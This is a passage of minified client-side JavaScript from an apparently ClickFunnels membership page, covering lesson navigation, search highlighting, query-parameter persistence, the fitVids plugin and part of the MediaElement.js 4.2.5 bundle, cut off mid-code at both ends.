.current-lesson").first().html()),$("#current-section, .current_section").data("original",$("#current-section, .current-section").first().html()),$(".lesson-resource").hide(),$(".resources").hide(),$("#home-link").click(function(){$(".video-container").html($(".video-container").data("original")),$(".video-description").html($(".video-description").data("original")),$(".lesson-resource").hide(),$("#current-lesson, .current-lesson").text($.trim($("#current-lesson").data("original"))),$("#current-section, .current-section").text($.trim($("#current-section").data("original"))),$("#current-lesson, .current-lesson").fadeIn(),$("#current-section, .current-section").fadeIn(),$(".video-description").fadeIn(),$(".lesson-resource").hide(),$(".resources").hide()}),$('a[href="#next"]').click(function(){var e=parseInt($("body").data("currentSection")),t=parseInt($("body").data("currentSection"))+1,n=parseInt($("body").data("currentLesson"))+1;if((i=$("#"+e+"-"+n)).size()>0);else var i=$("#"+t+"-1");i.first().click(),$(".swipebox").magnificPopup({type:"image"}),$(".elVideoModalWrapper .swipebox").magnificPopup({type:"iframe"})}),$('a[href="#previous"]').click(function(){var e=parseInt($("body").data("currentSection")),t=parseInt($("body").data("currentSection"))-1,n=parseInt($("body").data("currentLesson"))-1;if((i=$("#"+e+"-"+n)).size()>0);else var i=$("#"+t+"-1");i.first().click(),$(".swipebox").magnificPopup({type:"image"}),$(".elVideoModalWrapper .swipebox").magnificPopup({type:"iframe"})}),1==$("body").data("showProgress")&&$(".lesson-link").each(function(){1==$(this).data("completed")&&$(this).append("<span style='pull right'><i class='fa fa-check'></i></span>")}),$(".lesson-link").click(function(e,t){e.preventDefault(),t=void 0===t||t,$("#content").hide(),$(".lesson-link").removeClass("activeMemberNav"),$(this).addClass("activeMemberNav");var n=$(this).nextAll(".lesson-video").first(),i=$(this).nextAll("[data-cf-lesson-description='true']").first(),r=$(this).attr("id");try{$("body").data("currentSection",r.split("-")[0]),$("body").data("currentLesson",r.split("-")[1]),$("body").data("currentLessonId",$(this).data("lesson-id"))}catch(s){}var o=$(this).parents('[data-cf-lesson-list="true"]').prev('[data-cf-section-template="true"]').find("[data-cf-section-number='true']").text();$(".video-container").html(n.html()),$(".video-container").contents().hide(),""===n.html()?$(".video-container").hide():($(window).trigger("custom"),$(".video-container").fadeIn(),$(".video-container").contents().delay(1e3).fadeIn()),i.is("textarea")?($(".video-description").html(i.val()),$(".de-video-block").fitVids({customSelector:"iframe[src*='fast.wistia.net']"}),""===i.val()?$(".video-description").hide():$(".video-description").fadeIn()):($(".video-description").html(i.html()),""===i.html()?$(".video-description").hide():$(".video-description").fadeIn()),window.ClickFunnels.VideoElement.replaceMembershipVideosWithStandardPlayer(),$(".resources").fadeIn(),$(".lesson-resource").hide(),$(".lesson-"+o+"-"+r).fadeIn(),$(".lesson-"+r).show(),$("#current-lesson, .current-lesson").text($.trim($(this).text())),$("#current-section, .current-section").text($.trim($(this).parents('[data-cf-lesson-list="true"]').prev('[data-cf-section-template="true"]').find('[data-cf-section-name="true"]').text())),$("#current-lesson, .current-lesson").fadeIn(),$("#current-section, .current-section").fadeIn(),$("#content").fadeIn();var a=$(".video-description").find("iframe").first();void 0!==a.attr("data-autoplay")&&1==a.attr("data-autoplay")&&a.attr("src",a.attr("src").replace("autoplay=1","autoplay=0")),0===$("[data-cf-resource-template=true]:visible").size()?$(".resources").hide():$(".resources").fadeIn(),$(".swipebox").magnificPopup({type:"image"}),$(".elVideoModalWrapper .swipebox").magnificPopup({type:"iframe"}),evsfix(),$(".elCustomJS_code").each(function(){$getJS=$(this).attr("data-custom-js"),$(this).html($getJS)}),CFbuildAudioPlayer($(".video-description").find(".elAudioWrapper"),t)}),"undefined"!=typeof page_key&&$(".page_key").val(page_key),e(!1),setTimeout(e,1e3,!0),$("#temp-link").parent().hide(),$("body").delay(500).fadeIn(),$.fn.exists=function(){return this.length>0},$(".steps li .title").exists()&&$(".steps li .title").click(function(){$(this).parent().next(".membershipNavInner").toggleClass("out").toggleClass("in"),$(this).toggleClass("openedHeader"),$(this).toggleClass("opened")}),$(".elMembershipsNavMobileToggle").exists()||$(".elMembershipsNav").prepend('<div class="elMembershipsNavMobileToggle" data-hide-on="mobile"><i class="fa fa-bars" style="margin-right:5px;"></i>Lessons</div>'),$(document).on("click",".elMembershipsNavMobileToggle",function(){$(this).parent().find(".steps").slideToggle()}),window.PIE&&$(".ie-fix, .steps li:first-child .title, aside").each(function(){PIE.attach(this)}),$(".steps li .title").each(function(e){0!==e&&$(this).click()});var t=_.debounce(function(){var e=$(this).val();$("body").unhighlight(),$('[data-cf-lesson-template="true"]').each(function(){$(this).text().search(new RegExp(e,"i"))<0||""===e?$(this).find("ul").first().css({backgroundColor:""}):($(this).find("ul").first().highlight(e),$(this).find("ul").first().css({backgroundColor:"#f4ffb0"}),$(".video-description").highlight(e))})},1e3);$("#search_field").on("change input blur",t),$(".search-form form").on("submit",function(e){$("#search_field").trigger("blur"),e.preventDefault()}),$("[data-cf-lesson-name=true]").length>0&&$("div[data-youtube-autoplay='yes']").each(function(){var e=$(this).find("iframe").first();e.attr("src",e.attr("src").replace("autoplay=1","autoplay=0")),e.attr("data-autoplay",1)}),$(".goto-login").on("click",function(){return $("#reset-form").hide(),$("#register-form").hide(),$("#login-form").fadeIn(),!1}),$(".goto-login2").on("click",function(){return $("#reset-form").hide(),$("#register-form").fadeIn(),!1}),$(".goto-reset").on("click",function(){return $("#login-form").hide(),$("#reset-form").fadeIn(),!1})}),function(e){"use strict";e.fn.fitVids=function(t){var n={customSelector:null};if(!document.getElementById("fit-vids-style")){var i=document.head||document.getElementsByTagName("head")[0],r=".fluid-width-video-wrapper{width:100%;position:relative;padding:0;}.fluid-width-video-wrapper iframe,.fluid-width-video-wrapper object,.fluid-width-video-wrapper embed {position:absolute;top:0;left:0;width:100%;height:100%;}",o=document.createElement("div");o.innerHTML='<p>x</p><style id="fit-vids-style">'+r+"</style>",i.appendChild(o.childNodes[1])}return t&&e.extend(n,t),this.each(function(){var t=["iframe[src*='fast.wistia.net']","iframe[src*='player.vimeo.com']","iframe[src*='youtube.com']","iframe[src*='youtube-nocookie.com']","iframe[src*='kickstarter.com'][src*='video.html']","object","embed"];n.customSelector&&t.push(n.customSelector);var i=e(this).find(t.join(","));(i=i.not("object object")).each(function(){var t=e(this);if(!("embed"===this.tagName.toLowerCase()&&t.parent("object").length||t.parent(".fluid-width-video-wrapper").length)){t.css("height")||t.css("width")||!isNaN(t.attr("height"))&&!isNaN(t.attr("width"))||(t.attr("height",9),t.attr("width",16));var n=("object"===this.tagName.toLowerCase()||t.attr("height")&&!isNaN(parseInt(t.attr("height"),10))?parseInt(t.attr("height"),10):t.height())/(isNaN(parseInt(t.attr("width"),10))?t.width():parseInt(t.attr("width"),10));if(!t.attr("id")){var i="fitvid"+Math.floor(999999*Math.random());t.attr("id",i)}t.wrap('<div class="fluid-width-video-wrapper"></div>').parent(".fluid-width-video-wrapper").css("padding-top",100*n+"%"),t.removeAttr("height").removeAttr("width")}})})}}(window.jQuery||window.Zepto),$(function(){function e(e){for(var t=e+"=",n=document.cookie.split(";"),i=0;i<n.length;i++){for(var r=n[i];" "==r.charAt(0);)r=r.substring(1,r.length);if(0==r.indexOf(t))return r.substring(t.length,r.length)}return null}var t;(window.onpopstate=function(){var e,n=/\+/g,i=/([^&=]+)=?([^&]*)/g,r=function(e){return decodeURIComponent(e.replace(n," "))},o=window.location.search.substring(1);for(t={};e=i.exec(o);)t[r(e[1])]=r(e[2])})(),$.each(t,function(e,t){try{localStorage.setItem(e,t)}catch(n){"NS_ERROR_FILE_CORRUPTED"==n.name&&console.log("NS_ERROR_FILE_CORRUPTED")} document.cookie=e+"="+t+";",document.cookie=e+"="+t+";domain=.clickfunnels.com;path=/;max-age=31536000;"}),$("input[data-param]").each(function(){try{var t=localStorage.getItem($(this).data("param"))}catch(n){if("NS_ERROR_FILE_CORRUPTED"==n.name){console.log("NS_ERROR_FILE_CORRUPTED");t=null}}null==t&&(t=e($(this).data("param"))),$(this).val(t),$(this).attr("value",t)})}), /*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */ function e(t,n,i){function r(a,s){if(!n[a]){if(!t[a]){var l="function"==typeof require&&require;if(!s&&l)return l(a,!0);if(o)return o(a,!0);var c=new Error("Cannot find module '"+a+"'");throw c.code="MODULE_NOT_FOUND",c}var u=n[a]={exports:{}};t[a][0].call(u.exports,function(e){var n=t[a][1][e];return r(n||e)},u,u.exports,e,t,n,i)}return n[a].exports}for(var o="function"==typeof require&&require,a=0;a<i.length;a++)r(i[a]);return r}({1:[function(){},{}],2:[function(e,t){(function(n){var i,r=void 0!==n?n:"undefined"!=typeof window?window:{},o=e(1);"undefined"!=typeof document?i=document:(i=r["__GLOBAL_DOCUMENT_CACHE@4"])||(i=r["__GLOBAL_DOCUMENT_CACHE@4"]=o),t.exports=i}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{1:1}],3:[function(e,t){(function(e){var n;n="undefined"!=typeof window?window:void 0!==e?e:"undefined"!=typeof self?self:{},t.exports=n}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],4:[function(e,t){!function(e){function n(){}function i(e,t){return function(){e.apply(t,arguments)}}function r(e){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=undefined,this._deferreds=[],u(e,this)}function o(e,t){for(;3===e._state;)e=e._value;0!==e._state?(e._handled=!0,r._immediateFn(function(){var n=1===e._state?t.onFulfilled:t.onRejected;if(null!==n){var i;try{i=n(e._value)}catch(r){return void s(t.promise,r)}a(t.promise,i)}else(1===e._state?a:s)(t.promise,e._value)})):e._deferreds.push(t)}function a(e,t){try{if(t===e)throw new TypeError("A promise cannot be resolved with itself.");if(t&&("object"==typeof t||"function"==typeof t)){var n=t.then;if(t instanceof r)return e._state=3,e._value=t,void l(e);if("function"==typeof n)return void u(i(n,t),e)}e._state=1,e._value=t,l(e)}catch(o){s(e,o)}}function s(e,t){e._state=2,e._value=t,l(e)}function l(e){2===e._state&&0===e._deferreds.length&&r._immediateFn(function(){e._handled||r._unhandledRejectionFn(e._value)});for(var t=0,n=e._deferreds.length;t<n;t++)o(e,e._deferreds[t]);e._deferreds=null}function c(e,t,n){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.promise=n}function u(e,t){var n=!1;try{e(function(e){n||(n=!0,a(t,e))},function(e){n||(n=!0,s(t,e))})}catch(i){if(n)return;n=!0,s(t,i)}}var d=setTimeout;r.prototype["catch"]=function(e){return this.then(null,e)},r.prototype.then=function(e,t){var i=new this.constructor(n);return o(this,new c(e,t,i)),i},r.all=function(e){var t=Array.prototype.slice.call(e);return new r(function(e,n){function i(o,a){try{if(a&&("object"==typeof a||"function"==typeof a)){var s=a.then;if("function"==typeof s)return void s.call(a,function(e){i(o,e)},n)}t[o]=a,0==--r&&e(t)}catch(l){n(l)}}if(0===t.length)return e([]);for(var r=t.length,o=0;o<t.length;o++)i(o,t[o])})},r.resolve=function(e){return e&&"object"==typeof e&&e.constructor===r?e:new r(function(t){t(e)})},r.reject=function(e){return new r(function(t,n){n(e)})},r.race=function(e){return new r(function(t,n){for(var i=0,r=e.length;i<r;i++)e[i].then(t,n)})},r._immediateFn="function"==typeof setImmediate&&function(e){setImmediate(e)}||function(e){d(e,0)},r._unhandledRejectionFn=function(e){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",e)},r._setImmediateFn=function(e){r._immediateFn=e},r._setUnhandledRejectionFn=function(e){r._unhandledRejectionFn=e},void 0!==t&&t.exports?t.exports=r:e.Promise||(e.Promise=r)}(this)},{}],5:[function(e,t,n){"use strict";function i(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(n,"__esModule",{value:!0});var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o=i(e(7)),a=e(15),s=e(27),l={lang:"en",en:a.EN,language:function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];if(null!==t&&t!==undefined&&t.length){if("string"!=typeof t[0])throw new TypeError("Language code must be a string value");if(!/^[a-z]{2}(\-[a-z]{2})?$/i.test(t[0]))throw new TypeError("Language code must have format `xx` or `xx-xx`");l.lang=t[0],l[t[0]]===undefined?(t[1]=null!==t[1]&&t[1]!==undefined&&"object"===r(t[1])?t[1]:{},l[t[0]]=(0,s.isObjectEmpty)(t[1])?a.EN:t[1]):null!==t[1]&&t[1]!==undefined&&"object"===r(t[1])&&(l[t[0]]=t[1])}return l.lang},t:function(e){var t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:null;if("string"==typeof e&&e.length){var n=void 0,i=void 0,o=l.language(),a=function(e,t,n){return"object"!==(void 0===e?"undefined":r(e))||"number"!=typeof t||"number"!=typeof n?e:[function(){return arguments.length<=1?undefined:arguments[1]},function(){return 1===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:arguments.length<=2?undefined:arguments[2]},function(){return 0===(arguments.length<=0?undefined:arguments[0])||1===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:arguments.length<=2?undefined:arguments[2]},function(){return(arguments.length<=0?undefined:arguments[0])%10==1&&(arguments.length<=0?undefined:arguments[0])%100!=11?arguments.length<=1?undefined:arguments[1]:0!==(arguments.length<=0?undefined:arguments[0])?arguments.length<=2?undefined:arguments[2]:arguments.length<=3?undefined:arguments[3]},function(){return 1===(arguments.length<=0?undefined:arguments[0])||11===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:2===(arguments.length<=0?undefined:arguments[0])||12===(arguments.length<=0?undefined:arguments[0])?arguments.length<=2?undefined:arguments[2]:(arguments.length<=0?undefined:arguments[0])>2&&(arguments.length<=0?undefined:arguments[0])<20?arguments.length<=3?undefined:arguments[3]:arguments.length<=4?undefined:arguments[4]},function(){return 1===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:0===(arguments.length<=0?undefined:arguments[0])||(arguments.length<=0?undefined:arguments[0])%100>0&&(arguments.length<=0?undefined:arguments[0])%100<20?arguments.length<=2?undefined:arguments[2]:arguments.length<=3?undefined:arguments[3]},function(){return(arguments.length<=0?undefined:arguments[0])%10==1&&(arguments.length<=0?undefined:arguments[0])%100!=11?arguments.length<=1?undefined:arguments[1]:(arguments.length<=0?undefined:arguments[0])%10>=2&&((arguments.length<=0?undefined:arguments[0])%100<10||(arguments.length<=0?undefined:arguments[0])%100>=20)?arguments.length<=2?undefined:arguments[2]:[3]},function(){return(arguments.length<=0?undefined:arguments[0])%10==1&&(arguments.length<=0?undefined:arguments[0])%100!=11?arguments.length<=1?undefined:arguments[1]:(arguments.length<=0?undefined:arguments[0])%10>=2&&(arguments.length<=0?undefined:arguments[0])%10<=4&&((arguments.length<=0?undefined:arguments[0])%100<10||(arguments.length<=0?undefined:arguments[0])%100>=20)?arguments.length<=2?undefined:arguments[2]:arguments.length<=3?undefined:arguments[3]},function(){return 1===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:(arguments.length<=0?undefined:arguments[0])>=2&&(arguments.length<=0?undefined:arguments[0])<=4?arguments.length<=2?undefined:arguments[2]:arguments.length<=3?undefined:arguments[3]},function(){return 1===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:(arguments.length<=0?undefined:arguments[0])%10>=2&&(arguments.length<=0?undefined:arguments[0])%10<=4&&((arguments.length<=0?undefined:arguments[0])%100<10||(arguments.length<=0?undefined:arguments[0])%100>=20)?arguments.length<=2?undefined:arguments[2]:arguments.length<=3?undefined:arguments[3]},function(){return(arguments.length<=0?undefined:arguments[0])%100==1?arguments.length<=2?undefined:arguments[2]:(arguments.length<=0?undefined:arguments[0])%100==2?arguments.length<=3?undefined:arguments[3]:(arguments.length<=0?undefined:arguments[0])%100==3||(arguments.length<=0?undefined:arguments[0])%100==4?arguments.length<=4?undefined:arguments[4]:arguments.length<=1?undefined:arguments[1]},function(){return 1===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:2===(arguments.length<=0?undefined:arguments[0])?arguments.length<=2?undefined:arguments[2]:(arguments.length<=0?undefined:arguments[0])>2&&(arguments.length<=0?undefined:arguments[0])<7?arguments.length<=3?undefined:arguments[3]:(arguments.length<=0?undefined:arguments[0])>6&&(arguments.length<=0?undefined:arguments[0])<11?arguments.length<=4?undefined:arguments[4]:arguments.length<=5?undefined:arguments[5]},function(){return 0===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:1===(arguments.length<=0?undefined:arguments[0])?arguments.length<=2?undefined:arguments[2]:2===(arguments.length<=0?undefined:arguments[0])?arguments.length<=3?undefined:arguments[3]:(arguments.length<=0?undefined:arguments[0])%100>=3&&(arguments.length<=0?undefined:arguments[0])%100<=10?arguments.length<=4?undefined:arguments[4]:(arguments.length<=0?undefined:arguments[0])%100>=11?arguments.length<=5?undefined:arguments[5]:arguments.length<=6?undefined:arguments[6]},function(){return 1===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:0===(arguments.length<=0?undefined:arguments[0])||(arguments.length<=0?undefined:arguments[0])%100>1&&(arguments.length<=0?undefined:arguments[0])%100<11?arguments.length<=2?undefined:arguments[2]:(arguments.length<=0?undefined:arguments[0])%100>10&&(arguments.length<=0?undefined:arguments[0])%100<20?arguments.length<=3?undefined:arguments[3]:arguments.length<=4?undefined:arguments[4]},function(){return(arguments.length<=0?undefined:arguments[0])%10==1?arguments.length<=1?undefined:arguments[1]:(arguments.length<=0?undefined:arguments[0])%10==2?arguments.length<=2?undefined:arguments[2]:arguments.length<=3?undefined:arguments[3]},function(){return 11!==(arguments.length<=0?undefined:arguments[0])&&(arguments.length<=0?undefined:arguments[0])%10==1?arguments.length<=1?undefined:arguments[1]:arguments.length<=2?undefined:arguments[2]},function(){return 1===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:(arguments.length<=0?undefined:arguments[0])%10>=2&&(arguments.length<=0?undefined:arguments[0])%10<=4&&((arguments.length<=0?undefined:arguments[0])%100<10||(arguments.length<=0?undefined:arguments[0])%100>=20)?arguments.length<=2?undefined:arguments[2]:arguments.length<=3?undefined:arguments[3]},function(){return 1===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:2===(arguments.length<=0?undefined:arguments[0])?arguments.length<=2?undefined:arguments[2]:8!==(arguments.length<=0?undefined:arguments[0])&&11!==(arguments.length<=0?undefined:arguments[0])?arguments.length<=3?undefined:arguments[3]:arguments.length<=4?undefined:arguments[4]},function(){return 0===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:arguments.length<=2?undefined:arguments[2]},function(){return 1===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:2===(arguments.length<=0?undefined:arguments[0])?arguments.length<=2?undefined:arguments[2]:3===(arguments.length<=0?undefined:arguments[0])?arguments.length<=3?undefined:arguments[3]:arguments.length<=4?undefined:arguments[4]},function(){return 0===(arguments.length<=0?undefined:arguments[0])?arguments.length<=1?undefined:arguments[1]:1===(arguments.length<=0?undefined:arguments[0])?arguments.length<=2?undefined:arguments[2]:arguments.length<=3?undefined:arguments[3]}][n].apply(null,[t].concat(e))};return l[o]!==undefined&&(n=l[o][e],null!==t&&"number"==typeof t&&(i=l[o]["mejs.plural-form"],n=a.apply(null,[n,t,i]))),!n&&l.en&&(n=l.en[e],null!==t&&"number"==typeof t&&(i=l.en["mejs.plural-form"],n=a.apply(null,[n,t,i]))),n=n||e,null!==t&&"number"==typeof t&&(n=n.replace("%1",t)),(0,s.escapeHTML)(n)}return e}};o["default"].i18n=l,"undefined"!=typeof mejsL10n&&o["default"].i18n.language(mejsL10n.language,mejsL10n.strings),n["default"]=l},{15:15,27:27,7:7}],6:[function(e,t,n){"use strict";function i(e){return e&&e.__esModule?e:{"default":e}}function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(n,"__esModule",{value:!0});var o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},a=i(e(3)),s=i(e(2)),l=i(e(7)),c=e(27),u=e(28),d=e(8),f=e(25),p=function h(e,t,n){var i=this;r(this,h);var p=this;n=Array.isArray(n)?n:null,p.defaults={renderers:[],fakeNodeName:"mediaelementwrapper",pluginPath:"build/",shimScriptAccess:"sameDomain"},t=Object.assign(p.defaults,t),p.mediaElement=s["default"].createElement(t.fakeNodeName);var m=e,g=!1;if("string"==typeof e?p.mediaElement.originalNode=s["default"].getElementById(e):(p.mediaElement.originalNode=e,m=e.id),p.mediaElement.originalNode===undefined||null===p.mediaElement.originalNode)return null;p.mediaElement.options=t,m=m||"mejs_"+Math.random().toString().slice(2),p.mediaElement.originalNode.setAttribute("id",m+"_from_mejs");var y=p.mediaElement.originalNode.tagName.toLowerCase();["video","audio"].indexOf(y)>-1&&!p.mediaElement.originalNode.getAttribute("preload")&&p.mediaElement.originalNode.setAttribute("preload","none"),p.mediaElement.originalNode.parentNode.insertBefore(p.mediaElement,p.mediaElement.originalNode),p.mediaElement.appendChild(p.mediaElement.originalNode);var v=function(e,t){if("https:"===a["default"].location.protocol&&0===e.indexOf("http:")&&f.IS_IOS&&l["default"].html5media.mediaTypes.indexOf(t)>-1){var n=new XMLHttpRequest;n.onreadystatechange=function(){if(4===this.readyState&&200===this.status){var t=(a["default"].URL||a["default"].webkitURL).createObjectURL(this.response);return p.mediaElement.originalNode.setAttribute("src",t),t}return e},n.open("GET",e),n.responseType="blob",n.send()}return e},b=void 0;if(null!==n)b=n;else if(null!==p.mediaElement.originalNode)switch(b=[],p.mediaElement.originalNode.nodeName.toLowerCase()){case"iframe":b.push({type:"",src:p.mediaElement.originalNode.getAttribute("src")});break;case"audio":case"video":var _=p.mediaElement.originalNode.children.length,T=p.mediaElement.originalNode.getAttribute("src");if(T){var w=p.mediaElement.originalNode,S=(0,u.formatType)(T,w.getAttribute("type"));b.push({type:S,src:v(T,S)})}for(var k=0;k<_;k++){var C=p.mediaElement.originalNode.children[k];if("source"===C.tagName.toLowerCase()){var x=C.getAttribute("src"),E=(0,u.formatType)(x,C.getAttribute("type"));b.push({type:E,src:v(x,E)})}}}p.mediaElement.id=m,p.mediaElement.renderers={},p.mediaElement.events={},p.mediaElement.promises=[],p.mediaElement.renderer=null,p.mediaElement.rendererName=null,p.mediaElement.changeRenderer=function(e,t){var n=i,r=Object.keys(t[0]).length>2?t[0]:t[0].src;if(n.mediaElement.renderer!==undefined&&null!==n.mediaElement.renderer&&n.mediaElement.renderer.name===e)return n.mediaElement.renderer.pause(),n.mediaElement.renderer.stop&&n.mediaElement.renderer.stop(),n.mediaElement.renderer.show(),n.mediaElement.renderer.setSrc(r),!0;n.mediaElement.renderer!==undefined&&null!==n.mediaElement.renderer&&(n.mediaElement.renderer.pause(),n.mediaElement.renderer.stop&&n.mediaElement.renderer.stop(),n.mediaElement.renderer.hide());var o=n.mediaElement.renderers[e],a=null;if(o!==undefined&&null!==o)return o.show(),o.setSrc(r),n.mediaElement.renderer=o,n.mediaElement.rendererName=e,!0;for(var s=n.mediaElement.options.renderers.length?n.mediaElement.options.renderers:d.renderer.order,l=0,c=s.length;l<c;l++){var u=s[l];if(u===e){a=d.renderer.renderers[u];var f=Object.assign(a.options,n.mediaElement.options);return(o=a.create(n.mediaElement,f,t)).name=e,n.mediaElement.renderers[a.name]=o,n.mediaElement.renderer=o,n.mediaElement.rendererName=e,o.show(),!0}}return!1},p.mediaElement.setSize=function(e,t){p.mediaElement.renderer!==undefined&&null!==p.mediaElement.renderer&&p.mediaElement.renderer.setSize(e,t)},p.mediaElement.generateError=function(e,t){e=e||"",t=Array.isArray(t)?t:[];var n=(0,c.createEvent)("error",p.mediaElement);n.message=e,n.urls=t,p.mediaElement.dispatchEvent(n),g=!0};var $=l["default"].html5media.properties,A=l["default"].html5media.methods,M=function(e,t,n,i){var r=e[t],o=function(){return n.apply(e,[r])},a=function(t){return r=i.apply(e,[t])};Object.defineProperty(e,t,{get:o,set:a})},P=function(e){if("src"!==e){var t=""+e.substring(0,1).toUpperCase()+e.substring(1),n=function(){return p.mediaElement.renderer!==undefined&&null!==p.mediaElement.renderer&&"function"==typeof p.mediaElement.renderer["get"+t]?p.mediaElement.renderer["get"+t]():null},i=function(e){p.mediaElement.renderer!==undefined&&null!==p.mediaElement.renderer&&"function"==typeof p.mediaElement.renderer["set"+t]&&p.mediaElement.renderer["set"+t](e)};M(p.mediaElement,e,n,i),p.mediaElement["get"+t]=n,p.mediaElement["set"+t]=i}},D=function(){return p.mediaElement.renderer!==undefined&&null!==p.mediaElement.renderer?p.mediaElement.renderer.getSrc():null},F=function(e){var t=[];if("string"==typeof e)t.push({src:e,type:e?(0,u.getTypeFromFile)(e):""});else if("object"===(void 0===e?"undefined":o(e))&&e.src!==undefined){var n=(0,u.absolutizeUrl)(e.src),i=e.type,r=Object.assign(e,{src:n,type:""!==i&&null!==i&&i!==undefined||!n?i:(0,u.getTypeFromFile)(n)});t.push(r)}else if(Array.isArray(e))for(var a=0,s=e.length;a<s;a++){var l=(0,u.absolutizeUrl)(e[a].src),f=e[a].type,h=Object.assign(e[a],{src:l,type:""!==f&&null!==f&&f!==undefined||!l?f:(0,u.getTypeFromFile)(l)});t.push(h)}var m=d.renderer.select(t,p.mediaElement.options.renderers.length?p.mediaElement.options.renderers:[]),g=void 0;if(p.mediaElement.paused||(p.mediaElement.pause(),g=(0,c.createEvent)("pause",p.mediaElement),p.mediaElement.dispatchEvent(g)),p.mediaElement.originalNode.src=t[0].src||"",null!==m||!t[0].src)return t[0].src?p.mediaElement.changeRenderer(m.rendererName,t):null;p.mediaElement.generateError("No renderer found",t)},L=function(e,t){try{"play"===e&&"native_dash"===p.mediaElement.rendererName?setTimeout(function(){p.mediaElement.renderer[e](t)},100):p.mediaElement.renderer[e](t)}catch(n){p.mediaElement.generateError(n,b)}},I=function(e){p.mediaElement[e]=function(){for(var t=arguments.length,n=Array(t),i=0;i<t;i++)n[i]=arguments[i];return p.mediaElement.renderer!==undefined&&null!==p.mediaElement.renderer&&"function"==typeof p.mediaElement.renderer[e]&&(p.mediaElement.promises.length?Promise.all(p.mediaElement.promises).then(function(){L(e,n)})["catch"](function(e){p.mediaElement.generateError(e,b)}):L(e,n)),null}};M(p.mediaElement,"src",D,F),p.mediaElement.getSrc=D,p.mediaElement.setSrc=F;for(var N=0,O=$.length;N<O;N++)P($[N]);for(var R=0,j=A.length;R<j;R++)I(A[R]);return p.mediaElement.addEventListener=function(e,t){p.mediaElement.events[e]=p.mediaElement.events[e]||[],p.mediaElement.events[e].push(t)},p.mediaElement.removeEventListener=function(e,t){if(!e)return p.mediaElement.events={},!0;var n=p.mediaElement.events[e];if(!n)return!0;if(!t)return p.mediaElement.events[e]=[],!0;for(var i=0;i<n.length;i++)if(n[i]===t)return p.mediaElement.events[e].splice(i,1),!0;return!1},p.mediaElement.dispatchEvent=function(e){var t=p.mediaElement.events[e.type];if(t)for(var n=0;n<t.length;n++)t[n].apply(null,[e])},b.length&&(p.mediaElement.src=b),p.mediaElement.promises.length?Promise.all(p.mediaElement.promises).then(function(){p.mediaElement.options.success&&p.mediaElement.options.success(p.mediaElement,p.mediaElement.originalNode)})["catch"](function(){g&&p.mediaElement.options.error&&p.mediaElement.options.error(p.mediaElement,p.mediaElement.originalNode)}):(p.mediaElement.options.success&&p.mediaElement.options.success(p.mediaElement,p.mediaElement.originalNode),g&&p.mediaElement.options.error&&p.mediaElement.options.error(p.mediaElement,p.mediaElement.originalNode)),p.mediaElement};a["default"].MediaElement=p,n["default"]=p},{2:2,25:25,27:27,28:28,3:3,7:7,8:8}],7:[function(e,t,n){"use strict";function i(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(n,"__esModule",{value:!0});var r={version:"4.2.5",html5media:{properties:["volume","src","currentTime","muted","duration","paused","ended","buffered","error","networkState","readyState","seeking","seekable","currentSrc","preload","bufferedBytes","bufferedTime","initialTime","startOffsetTime","defaultPlaybackRate","playbackRate","played","autoplay","loop","controls"],readOnlyProperties:["duration","paused","ended","buffered","error","networkState","readyState","seeking","seekable"],methods:["load","play","pause","canPlayType"],events:["loadstart","durationchange","loadedmetadata","loadeddata","progress","canplay","canplaythrough","suspend","abort","error","emptied","stalled","play","playing","pause","waiting","seeking","seeked","timeupdate","ended","ratechange","volumechange"],mediaTypes:["audio/mp3","audio/ogg","audio/oga","audio/wav","audio/x-wav","audio/wave","audio/x-pn-wav","audio/mpeg","audio/mp4","video/mp4","video/webm","video/ogg","video/ogv"]}};i(e(3))["default"].mejs=r,n["default"]=r},{3:3}],8:[function(e,t,n){"use strict";function i(e){return e&&e.__esModule?e:{"default":e}}function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(n,"__esModule",{value:!0}),n.renderer=undefined;var o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},a=function(){function e(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in 